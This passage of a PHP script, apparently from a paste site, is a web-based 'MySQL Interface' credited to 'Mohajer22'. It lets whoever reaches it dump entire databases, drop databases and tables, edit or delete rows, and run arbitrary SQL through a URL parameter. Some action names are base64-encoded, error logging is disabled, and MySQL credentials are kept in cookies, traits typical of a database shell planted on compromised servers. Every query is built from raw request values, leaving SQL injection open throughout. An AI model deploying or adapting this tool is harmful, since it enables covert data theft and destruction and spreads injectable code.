  742.                     $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  743.                 else
  744.                     $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  745.         }
  746.         $key = substr( $key, 0, strlen($key)-4 );
  747.  
  748.         mysql_select_db( $dbname, $mysqlHandle );
  749.         $pResult = mysql_query( $queryStr =  "SELECT * FROM $tablename WHERE $key", $mysqlHandle );
  750.         $data = mysql_fetch_array( $pResult );
  751.     }
  752.  
  753.     echo "<p class=location>$dbname &gt; $tablename</p>\n";
  754.  
  755.     echo "<form action='$PHP_SELF' method=post>\n";
  756.     if( $cmd == "add" )
  757.         echo "<input type=hidden name=action value=addData_submit>\n";
  758.     else if( $cmd == "edit" )
  759.         echo "<input type=hidden name=action value=editData_submit>\n";
  760.     echo "<input type=hidden name=dbname value=$dbname>\n";
  761.     echo "<input type=hidden name=tablename value=$tablename>\n";
  762.     echo "<table cellspacing=1 cellpadding=2>\n";
  763.     echo "<tr>\n";
  764.     echo "<th>Name</th>\n";
  765.     echo "<th>Type</th>\n";
  766.     echo "<th>Function</th>\n";
  767.     echo "<th>Data</th>\n";
  768.     echo "</tr>\n";
  769.  
  770.     $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
  771.     $num = mysql_num_rows( $pResult );
  772.  
  773.     $pResultLen = mysql_list_fields( $dbname, $tablename );
  774.  
  775.     for( $i = 0; $i < $num; $i++ ) {
  776.         $field = mysql_fetch_array( $pResult );
  777.         $fieldname = $field["Field"];
  778.         $fieldtype = $field["Type"];
  779.         $len = mysql_field_len( $pResultLen, $i );
  780.  
  781.         echo "<tr>";
  782.         echo "<td>$fieldname</td>";
  783.         echo "<td>".$field["Type"]."</td>";
  784.         echo "<td>\n";
  785.         echo "<select name=${fieldname}_function>\n";
  786.         echo "<option>\n";
  787.         echo "<option>ASCII\n";
  788.         echo "<option>CHAR\n";
  789.         echo "<option>SOUNDEX\n";
  790.         echo "<option>CURDATE\n";
  791.         echo "<option>CURTIME\n";
  792.         echo "<option>FROM_DAYS\n";
  793.         echo "<option>FROM_UNIXTIME\n";
  794.         echo "<option>NOW\n";
  795.         echo "<option>PASSWORD\n";
  796.         echo "<option>PERIOD_ADD\n";
  797.         echo "<option>PERIOD_DIFF\n";
  798.         echo "<option>TO_DAYS\n";
  799.         echo "<option>USER\n";
  800.         echo "<option>WEEKDAY\n";
  801.         echo "<option>RAND\n";
  802.         echo "</select>\n";
  803.         echo "</td>\n";
  804.         $value = htmlspecialchars($data[$i]);
  805.         if( $cmd == "add" ) {
  806.             $type = strtok( $fieldtype, " (,)\n" );
  807.             if( $type == "enum" || $type == "set" ) {
  808.                 echo "<td>\n";
  809.                 if( $type == "enum" )
  810.                     echo "<select name=$fieldname>\n";
  811.                 else if( $type == "set" )
  812.                     echo "<select name=$fieldname size=4 multiple>\n";
  813.                 while( $str = strtok( "'" ) ) {
  814.                     echo "<option>$str\n";
  815.                     strtok( "'" );
  816.                 }
  817.                 echo "</select>\n";
  818.                 echo "</td>\n";
  819.             } else {
  820.                 if( $len < 40 )
  821.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
  822.                 else
  823.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
  824.             }
  825.         } else if( $cmd == "edit" ) {
  826.             $type = strtok( $fieldtype, " (,)\n" );
  827.             if( $type == "enum" || $type == "set" ) {
  828.                 echo "<td>\n";
  829.                 if( $type == "enum" )
  830.                     echo "<select name=$fieldname>\n";
  831.                 else if( $type == "set" )
  832.                     echo "<select name=$fieldname size=4 multiple>\n";
  833.                 while( $str = strtok( "'" ) ) {
  834.                     if( $value == $str )
  835.                         echo "<option selected>$str\n";
  836.                     else
  837.                         echo "<option>$str\n";
  838.                     strtok( "'" );
  839.                 }
  840.                 echo "</select>\n";
  841.                 echo "</td>\n";
  842.             } else {
  843.                 if( $len < 40 )
  844.                     echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
  845.                 else
  846.                     echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
  847.             }
  848.         }
  849.         echo "</tr>";
  850.     }
  851.     echo "</table><p>\n";
  852.     if( $cmd == "add" )
  853.         echo "<input type=submit value='Add Data'>\n";
  854.     else if( $cmd == "edit" )
  855.         echo "<input type=submit value='Edit Data'>\n";
  856.     echo "<input type=button value='Cancel' onClick='history.back()'>\n";
  857.     echo "</form>\n";
  858. }
  859.  
  860. function manageData_submit( $cmd ) {
  861.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  862.  
  863.     $pResult = mysql_list_fields( $dbname, $tablename );
  864.     $num = mysql_num_fields( $pResult );
  865.  
  866.     mysql_select_db( $dbname, $mysqlHandle );
  867.     if( $cmd == "add" )
  868.         $queryStr = "INSERT INTO $tablename VALUES (";
  869.     else if( $cmd == "edit" )
  870.         $queryStr = "REPLACE INTO $tablename VALUES (";
  871.     for( $i = 0; $i < $num-1; $i++ ) {
  872.         $field = mysql_fetch_field( $pResult );
  873.         $func = $GLOBALS[$field->name."_function"];
  874.         if( $func != "" )
  875.             $queryStr .= " $func(";
  876.         if( $field->numeric == 1 ) {
  877.             $queryStr .= $GLOBALS[$field->name];
  878.             if( $func != "" )
  879.                 $queryStr .= "),";
  880.             else
  881.                 $queryStr .= ",";
  882.         } else {
  883.             $queryStr .= "'" . $GLOBALS[$field->name];
  884.             if( $func != "" )
  885.                 $queryStr .= "'),";
  886.             else
  887.                 $queryStr .= "',";
  888.         }
  889.     }
  890.     $field = mysql_fetch_field( $pResult );
  891.     if( $field->numeric == 1 )
  892.         $queryStr .= $GLOBALS[$field->name] . ")";
  893.     else
  894.         $queryStr .= "'" . $GLOBALS[$field->name] . "')";
  895.  
  896.     mysql_query( $queryStr , $mysqlHandle );
  897.     $errMsg = mysql_error();
  898.  
  899.     viewData( "" );
  900. }
  901.  
  902. function deleteData() {
  903.     global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
  904.  
  905.     $pResult = mysql_list_fields( $dbname, $tablename );
  906.     $num = mysql_num_fields( $pResult );
  907.  
  908.     $key = "";
  909.     for( $i = 0; $i < $num; $i++ ) {
  910.         $field = mysql_fetch_field( $pResult, $i );
  911.         if( $field->primary_key == 1 )
  912.             if( $field->numeric == 1 )
  913.                 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
  914.             else
  915.                 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
  916.     }
  917.     $key = substr( $key, 0, strlen($key)-4 );
  918.  
  919.     mysql_select_db( $dbname, $mysqlHandle );
  920.     $queryStr =  "DELETE FROM $tablename WHERE $key";
  921.     mysql_query( $queryStr, $mysqlHandle );
  922.     $errMsg = mysql_error();
  923.  
  924.     viewData( "" );
  925. }
  926.  
  927. function fetch_table_dump_sql($table)
  928. {
  929.     global $mysqlHandle,$dbname;
  930.  
  931.     mysql_select_db( $dbname, $mysqlHandle );
  932.     $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
  933.     $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
  934.     $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
  935.  
  936.     echo $tabledump;
  937.  
  938.     // get data
  939.     $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
  940.     $numfields=mysql_num_fields($rows);
  941.     while ($row = mysql_fetch_array($rows, MYSQL_NUM))
  942.     {
  943.         $tabledump = "INSERT INTO $table VALUES(";
  944.  
  945.         $fieldcounter = -1;
  946.         $firstfield = 1;
  947.         // get each field's data
  948.         while (++$fieldcounter < $numfields)
  949.         {
  950.             if (!$firstfield)
  951.             {
  952.                 $tabledump .= ', ';
  953.             }
  954.             else
  955.             {
  956.                 $firstfield = 0;
  957.             }
  958.  
  959.             if (!isset($row["$fieldcounter"]))
  960.             {
  961.                 $tabledump .= 'NULL';
  962.             }
  963.             else
  964.             {
  965.                 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
  966.             }
  967.         }
  968.  
  969.         $tabledump .= ");\n";
  970.  
  971.         echo $tabledump;
  972.  
  973.     }
  974.     @mysql_free_result($rows);
  975. }
  976.  
  977. function dump() {
  978.     global $mysqlHandle, $action, $dbname, $tablename;
  979.  
  980.     if( $action == "dumpTable" ){
  981.  
  982.         header("Content-disposition: filename=$tablename.sql");
  983.         header('Content-type: unknown/unknown');
  984.         fetch_table_dump_sql($tablename);
  985.         echo "\n\n\n";
  986.         echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
  987.         exit;
  988.  
  989.     }else{
  990.         header("Content-disposition: filename=$dbname.sql");
  991.         header('Content-type: unknown/unknown');
  992.  
  993.         mysql_select_db( $dbname, $mysqlHandle );
  994.         $query_id = mysql_query("SHOW tables",$mysqlHandle);
  995.         while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
  996.         {
  997.                 fetch_table_dump_sql($row[0]);
  998.                 echo "\n\n\n";
  999.                 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
  1000.                 echo "\n\n\n";
  1001.         }
  1002.         echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
  1003.         exit;
  1004.  
  1005.     }
  1006.  
  1007. }
  1008.  
  1009. function utils() {
  1010.     global $PHP_SELF, $command;
  1011.     echo "<h1>Utilities</h1>\n";
  1012.     if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
  1013.         echo "<hr>\n";
  1014.         echo "Show\n";
  1015.         echo "<ul>\n";
  1016.         echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
  1017.         echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
  1018.         echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
  1019.         echo "</ul>\n";
  1020.         echo "Flush\n";
  1021.         echo "<ul>\n";
  1022.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
  1023.         if( $command == "flush_hosts" ) {
  1024.             if( mysql_query( "Flush hosts" ) != false )
  1025.                 echo "- Success";
  1026.             else
  1027.                 echo "- Fail";
  1028.         }
  1029.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
  1030.         if( $command == "flush_logs" ) {
  1031.             if( mysql_query( "Flush logs" ) != false )
  1032.                 echo "- Success";
  1033.             else
  1034.                 echo "- Fail";
  1035.         }
  1036.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
  1037.         if( $command == "flush_privileges" ) {
  1038.             if( mysql_query( "Flush privileges" ) != false )
  1039.                 echo "- Success";
  1040.             else
  1041.                 echo "- Fail";
  1042.         }
  1043.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
  1044.         if( $command == "flush_tables" ) {
  1045.             if( mysql_query( "Flush tables" ) != false )
  1046.                 echo "- Success";
  1047.             else
  1048.                 echo "- Fail";
  1049.         }
  1050.         echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
  1051.         if( $command == "flush_status" ) {
  1052.             if( mysql_query( "Flush status" ) != false )
  1053.                 echo "- Success";
  1054.             else
  1055.                 echo "- Fail";
  1056.         }
  1057.         echo "</ul>\n";
  1058.     } else {
  1059.         $queryStr = ereg_replace( "_", " ", $command );
  1060.         $pResult = mysql_query( $queryStr );
  1061.         if( $pResult == false ) {
  1062.             echo "Fail";
  1063.             return;
  1064.         }
  1065.         $col = mysql_num_fields( $pResult );
  1066.  
  1067.         echo "<p class=location>$queryStr</p>\n";
  1068.         echo "<hr>\n";
  1069.  
  1070.         echo "<table cellspacing=1 cellpadding=2 border=0>\n";
  1071.         echo "<tr>\n";
  1072.         for( $i = 0; $i < $col; $i++ ) {
  1073.             $field = mysql_fetch_field( $pResult, $i );
  1074.             echo "<th>".$field->name."</th>\n";
  1075.         }
  1076.         echo "</tr>\n";
  1077.  
  1078.         while( 1 ) {
  1079.             $rowArray = mysql_fetch_row( $pResult );
  1080.             if( $rowArray == false ) break;
  1081.             echo "<tr>\n";
  1082.             for( $j = 0; $j < $col; $j++ )
  1083.                 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
  1084.             echo "</tr>\n";
  1085.         }
  1086.         echo "</table>\n";
  1087.     }
  1088. }
  1089.  
  1090.  
  1091.  
  1092. function footer_html() {
  1093.     global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
  1094.  
  1095.     echo "<hr>\n";
  1096.     echo "[$USERNAME] - \n";
  1097.  
  1098.     echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
  1099.     if( $tablename != "" )
  1100.         echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
  1101.     echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
  1102.     echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
  1103.  
  1104.  
  1105. }
  1106.  
  1107.  
  1108.  
  1109.  
  1110. //------------- MAIN ------------- //
  1111. error_reporting(0);
  1112. ini_set ('display_errors', 0);
  1113. ini_set ('log_errors', 0);
  1114.  
  1115. if( $action == "logon" || $action == "" || $action == "logout" )
  1116.     logon();
  1117. else if( $action == "bG9nb25fc3VibWl0" )
  1118.     logon_submit();
  1119. else if( $action == "dumpTable" || $action == "dumpDB" ) {
  1120.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1121.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1122.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1123.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1124.     }
  1125.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1126.     dump();
  1127. } else {
  1128.     while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
  1129.         if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
  1130.         if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
  1131.         if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
  1132.     }
  1133.     echo "<!--";
  1134.     $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
  1135.     echo "-->";
  1136.  
  1137.     if( $mysqlHandle == false ) {
  1138.  
  1139.  
  1140.         echo "<table width=100% height=100%><tr><td><center>\n";
  1141.         echo "<h1>Wrong Password!</h1>\n";
  1142.         echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
  1143.         echo "</center></td></tr></table>\n";
  1144.  
  1145.     } else {
  1146.  
  1147.         if( $action == "bGlzdERCcw==" )
  1148.             listDatabases();
  1149.         else if( $action == "createDB" )
  1150.             createDatabase();
  1151.         else if( $action == "dropDB" )
  1152.             dropDatabase();
  1153.         else if( $action == "listTables" )
  1154.             listTables();
  1155.         else if( $action == "createTable" )
  1156.             createTable();
  1157.         else if( $action == "dropTable" )
  1158.             dropTable();
  1159.         else if( $action == "viewSchema" )
  1160.             viewSchema();
  1161.         else if( $action == "query" )
  1162.             viewData( $queryStr );
  1163.         else if( $action == "addField" )
  1164.             manageField( "add" );
  1165.         else if( $action == "addField_submit" )
  1166.             manageField_submit( "add" );
  1167.         else if( $action == "editField" )
  1168.             manageField( "edit" );
  1169.         else if( $action == "editField_submit" )
  1170.             manageField_submit( "edit" );
  1171.         else if( $action == "dropField" )
  1172.             dropField();
  1173.         else if( $action == "dmlld0RhdGE=" )
  1174.             viewData( "" );
  1175.         else if( $action == "addData" )
  1176.             manageData( "add" );
  1177.         else if( $action == "addData_submit" )
  1178.             manageData_submit( "add" );
  1179.         else if( $action == "editData" )
  1180.             manageData( "edit" );
  1181.         else if( $action == "editData_submit" )
  1182.             manageData_submit( "edit" );
  1183.         else if( $action == "deleteData" )
  1184.             deleteData();
  1185.         else if( $action == "utils" )
  1186.             utils();
  1187.  
  1188.         mysql_close( $mysqlHandle);
  1189.         footer_html();
  1190.     }
  1191. }
  1192.  
  1193.  
  1194. ?>
  1195. <html>
  1196. <head>
  1197. <title>MySQL Interface (Developed By Mohajer22)</title>
  1198. <body bgColor=#202040 >
  1199. <style type="text/css">
  1200. <!--
  1201. p.location {
  1202.     color: #11bb33;
  1203.     font-size: small;
  1204. }
  1205. h1 {
  1206.     color: #c00000;
  1207. }
  1208. th {
  1209.     background-color: #000000;
  1210.     color: #11bb33;
  1211.     font-size: small;
  1212. }
  1213. td {
  1214.     background-color: #808080;
  1215.     font-size: small;
  1216. }
  1217. form {
  1218.     margin-top: 0;
  1219.     margin-bottom: 0;
  1220. }
  1221. a {
  1222.     text-decoration:none;
  1223.     color: #848200;
  1224.     font-size:small;
  1225. }
  1226. A:link {
  1227. COLOR:#EEEFD5;
  1228. TEXT-DECORATION: none
  1229. }
  1230. A:visited {
  1231. COLOR:#c00000;
  1232. TEXT-DECORATION: none
  1233. }
  1234. A:active {
  1235. COLOR:#c00000;
  1236. TEXT-DECORATION: none
  1237. }
  1238. A:hover {
  1239. color:#c00000;
  1240. TEXT-DECORATION: none
  1241. }
  1242. input, select, textarea {
  1243. background-color: #404040;
  1244. border-style: solid;
  1245. font-family: verdana, arial, sans-serif;
  1246. font-size:small;
  1247. color: #ffffff;
  1248. padding: 0px;
  1249. }
  1250. //-->
  1251. </style>
  1252. </head>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement